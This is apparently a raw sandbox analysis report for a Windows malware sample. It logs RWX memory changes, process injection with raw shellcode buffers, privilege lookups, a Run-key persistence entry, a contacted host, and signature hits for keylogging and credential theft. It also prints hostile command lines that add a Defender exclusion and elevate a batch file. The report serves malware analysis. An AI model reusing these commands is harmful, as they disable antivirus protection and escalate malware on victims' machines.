stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 8
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020364e4
process_handle: 0xffffffff
3221225477 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 8
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020364e4
process_handle: 0xffffffff
3221225477 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 8
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020364e4
process_handle: 0xffffffff
3221225477 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 8
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020364e4
process_handle: 0xffffffff
3221225477 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 8
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020364e4
process_handle: 0xffffffff
3221225477 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 8
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020364e4
process_handle: 0xffffffff
3221225477 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 8
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020364e4
process_handle: 0xffffffff
3221225477 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x044f6000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x044f6000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 5
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000
process_handle: 0xffffffff
3221225496 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 5
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000
process_handle: 0xffffffff
3221225496 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 5
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000
process_handle: 0xffffffff
3221225496 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 5
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000
process_handle: 0xffffffff
3221225496 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 5
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000
process_handle: 0xffffffff
3221225496 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 5
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000
process_handle: 0xffffffff
3221225496 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 5
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000
process_handle: 0xffffffff
3221225496 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04512000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04512000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 8
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x045050ec
process_handle: 0xffffffff
3221225477 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 8
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x045050ec
process_handle: 0xffffffff
3221225477 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 8
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x045050ec
process_handle: 0xffffffff
3221225477 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 8
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x045050ec
process_handle: 0xffffffff
3221225477 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7555c000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7555c000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7555c000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7555c000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7555c000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7555c000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 5
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000
process_handle: 0xffffffff
3221225496 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 5
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000
process_handle: 0xffffffff
3221225496 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 5
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000
process_handle: 0xffffffff
3221225496 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 5
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000
process_handle: 0xffffffff
3221225496 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 5
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000
process_handle: 0xffffffff
3221225496 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 5
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000
process_handle: 0xffffffff
3221225496 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 8
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x045050ec
process_handle: 0xffffffff
3221225477 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 8
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x045050ec
process_handle: 0xffffffff
3221225477 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 8
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x045050ec
process_handle: 0xffffffff
3221225477 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 8
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x045050ec
process_handle: 0xffffffff
3221225477 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 8
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x045050ec
process_handle: 0xffffffff
3221225477 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 8
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x045050ec
process_handle: 0xffffffff
3221225477 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 8
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x045050ec
process_handle: 0xffffffff
3221225477 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 8
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x045050ec
process_handle: 0xffffffff
3221225477 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 8
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x045050ec
process_handle: 0xffffffff
3221225477 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 8
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x045050ec
process_handle: 0xffffffff
3221225477 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 8
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x045050ec
process_handle: 0xffffffff
3221225477 0
file C:\Users\test22\RzkqpszzO.bat
file C:\Users\test22\Cdex.bat
file C:\Users\test22\Rzkqpszzt.bat
file C:\Users\test22\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline powershell -WindowStyle Hidden -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
cmdline C:\Windows\system32\cmd.exe /c REG QUERY "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin
cmdline powershell -c Start-Process "C:\Users\test22\Cdex.bat" -Verb runas
cmdline C:\Windows\system32\cmd.exe /c ver
cmdline C:\Windows\system32\cmd.exe /K C:\Users\test22\RzkqpszzO.bat
cmdline "C:\Windows\System32\cmd.exe" /C "C:\Users\test22\Cdex.bat"
file C:\Users\test22\Cdex.bat
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2564
thread_handle: 0x00000088
process_identifier: 2544
current_directory:
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: powershell -WindowStyle Hidden -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 525328 (CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 1
process_handle: 0x00000084
1 1 0
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 86016
protection: 32 (PAGE_EXECUTE_READ)
base_address: 0x02031000
process_handle: 0xffffffff
1 0 0
section {u'size_of_data': u'0x0003c400', u'virtual_address': u'0x0007f000', u'entropy': 7.245325760404132, u'name': u'.rsrc', u'virtual_size': u'0x0003c400'} entropy 7.2453257604 description A section with a high entropy has been found
entropy 0.338483146067 description Overall entropy of this PE file is high
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description Create a windows service rule Create_Service
description Communication using DGA rule Network_DGA
description Communications over RAW Socket rule Network_TCP_Socket
description Communications use DNS rule Network_DNS
description Match Windows Inet API call rule Str_Win32_Internet_API
description Code injection with CreateRemoteThread in a remote process rule Code_injection
description Record Audio rule Sniff_Audio
description Communications over HTTP rule Network_HTTP
description Run a KeyLogger rule KeyLogger
description Communications over FTP rule Network_FTP
description Escalate priviledges rule Escalate_priviledges
description File Downloader rule Network_Downloader
description Take ScreenShot rule ScreenShot
description Communications over P2P network rule Network_P2P_Win
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerCheck__RemoteAPI
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__ConsoleCtrl
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description (no description) rule Check_Dlls
description Checks if being debugged rule anti_dbg
description Anti-Sandbox checks for ThreatExpert rule antisb_threatExpert
description Bypass DEP rule disable_dep
description Affect hook table rule win_hook
description Steal credential rule local_credential_Steal
description Match Windows Http API call rule Str_Win32_Http_API
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
cmdline powershell -WindowStyle Hidden -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
cmdline C:\Windows\system32\cmd.exe /c REG QUERY "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin
cmdline powershell -c Start-Process "C:\Users\test22\Cdex.bat" -Verb runas
cmdline net session
cmdline REG QUERY "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin
cmdline C:\Windows\system32\cmd.exe /K C:\Users\test22\RzkqpszzO.bat
cmdline whoami /groups
buffer Buffer with sha1: 78c01b2e22a9b8223bcc7590ad260aff56d01997
host 185.140.53.254
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2428
region_size: 217088
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x725c0000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000180
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2428
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000b0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0x00000180
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2428
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000c0000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000180
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2428
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000d0000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000180
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2428
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00120000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000180
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2428
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00130000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000180
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2428
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00210000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000180
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2428
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00220000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000180
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2428
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00230000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000180
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2428
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00240000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000180
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2428
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00260000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000180
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2428
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00270000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000180
1 0 0
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Rzkqpszz reg_value C:\Users\test22\zzspqkzR.url
file
Process injection Process 2192 created a remote thread in non-child process 2428
Time & API Arguments Status Return Repeated

CreateRemoteThread

 thread_identifier: 2444
process_identifier: 2428
function_address: 0x000b0000
flags: 0
stack_size: 0
parameter: 0x00000000
process_handle: 0x00000180
1 1356 0

CreateRemoteThread

 thread_identifier: 2452
process_identifier: 2428
function_address: 0x00130000
flags: 0
stack_size: 0
parameter: 0x00120000
process_handle: 0x00000180
1 1356 0

CreateRemoteThread

 thread_identifier: 2436
process_identifier: 2428
function_address: 0x00240000
flags: 0
stack_size: 0
parameter: 0x00230000
process_handle: 0x00000180
1 1352 0

CreateRemoteThread

 thread_identifier: 2424
process_identifier: 2428
function_address: 0x00270000
flags: 0
stack_size: 0
parameter: 0x00260000
process_handle: 0x00000180
1 1360 0
Process injection Process 2192 manipulating memory of non-child process 2428
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2428
region_size: 217088
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x725c0000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000180
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2428
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000b0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0x00000180
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2428
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000c0000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000180
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2428
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000d0000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000180
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2428
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00120000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000180
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2428
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00130000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000180
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2428
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00210000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000180
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2428
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00220000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000180
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2428
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00230000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000180
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2428
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00240000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000180
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2428
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00260000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000180
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2428
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00270000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000180
1 0 0
Process injection Process 2192 injected into non-child 2428
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: h ÿ hÿ ×I u˜Õˆwkernel32.dllÿˆÝu¨Üu¾tƒt ØÜu™Éƒtpý~¼ÜulaƒtQyƒt+pý~ØÜu:‰ƒt6;‰t hÝum؄t0Ýu0ÝuÿÿÿÿœÝuˆÝu:O¿$OxÝuì$O@Ýu l£€$l£xÝu)DP1DP¬ÝuØ@O
base_address: 0x000b0000
process_identifier: 2428
process_handle: 0x00000180
1 1 0

WriteProcessMemory

 buffer: GetProcAddress
base_address: 0x000c0000
process_identifier: 2428
process_handle: 0x00000180
1 1 0

WriteProcessMemory

 buffer: kernel32.dll
base_address: 0x000d0000
process_identifier: 2428
process_handle: 0x00000180
1 1 0

WriteProcessMemory

 buffer: ˜Õˆw" uE u
base_address: 0x00120000
process_identifier: 2428
process_handle: 0x00000180
1 1 0

WriteProcessMemory

 buffer: U‹ìƒÄìVW‹E‹ð}쥥¥¥¥ÿuøÿUôÿuüPÿUðPÿUì_^‹å]‹ÀU‹ìƒÄàSVW‹ù‰Uü‹Ø‹u3À‰EøhDLPhXLPèÁÿÿPèÃÿÿ‰EèhhLPhXLPè©ÿÿPè«ÿÿ‰EähxLPhXLPè‘ÿÿPè“ÿÿ‰Eàƒþu‰}ðë‹Î‹×‹ÃèGüÿÿ‰Eð‹Uü‹Ãè¢ûÿÿ‰EìjjMàºPKP‹Ãè`üÿÿ‹Ø…ÛtjÿSè"ÿÿEôPSèÿÿ‹Eô‰Eø‹Eø_^[‹å]ÂGetModuleHandleAkernel32.dllGetProcAddressExitThreadU‹ìƒÄìS‰Eü‹Eü‰Eø‹E‹@ü‹€¤‰EôëU‹Eø‹@ƒèÑè‰Eì‹EøƒÀ‰Eð‹UìJ…Òr0B‹Eðf‹öÅðt‹E‹@ô‹]øfáÿ·ÉÁ‹M‹IøƒEðJuыEð‰Eø‹Eø+Eü;Eôr [‹å]Ã
base_address: 0x00130000
process_identifier: 2428
process_handle: 0x00000180
1 1 0

WriteProcessMemory

 buffer: LoadLibraryA
base_address: 0x00210000
process_identifier: 2428
process_handle: 0x00000180
1 1 0

WriteProcessMemory

 buffer: kernel32.dll
base_address: 0x00220000
process_identifier: 2428
process_handle: 0x00000180
1 1 0

WriteProcessMemory

 buffer: ˜Õˆw" uE u"!
base_address: 0x00230000
process_identifier: 2428
process_handle: 0x00000180
1 1 0

WriteProcessMemory

 buffer: U‹ìƒÄìVW‹E‹ð}쥥¥¥¥ÿuøÿUôÿuüPÿUðPÿUì_^‹å]‹ÀU‹ìƒÄàSVW‹ù‰Uü‹Ø‹u3À‰EøhDLPhXLPèÁÿÿPèÃÿÿ‰EèhhLPhXLPè©ÿÿPè«ÿÿ‰EähxLPhXLPè‘ÿÿPè“ÿÿ‰Eàƒþu‰}ðë‹Î‹×‹ÃèGüÿÿ‰Eð‹Uü‹Ãè¢ûÿÿ‰EìjjMàºPKP‹Ãè`üÿÿ‹Ø…ÛtjÿSè"ÿÿEôPSèÿÿ‹Eô‰Eø‹Eø_^[‹å]ÂGetModuleHandleAkernel32.dllGetProcAddressExitThreadU‹ìƒÄìS‰Eü‹Eü‰Eø‹E‹@ü‹€¤‰EôëU‹Eø‹@ƒèÑè‰Eì‹EøƒÀ‰Eð‹UìJ…Òr0B‹Eðf‹öÅðt‹E‹@ô‹]øfáÿ·ÉÁ‹M‹IøƒEðJuыEð‰Eø‹Eø+Eü;Eôr [‹å]Ã
base_address: 0x00240000
process_identifier: 2428
process_handle: 0x00000180
1 1 0

WriteProcessMemory

 buffer: \rª\r
base_address: 0x00260000
process_identifier: 2428
process_handle: 0x00000180
1 1 0

WriteProcessMemory

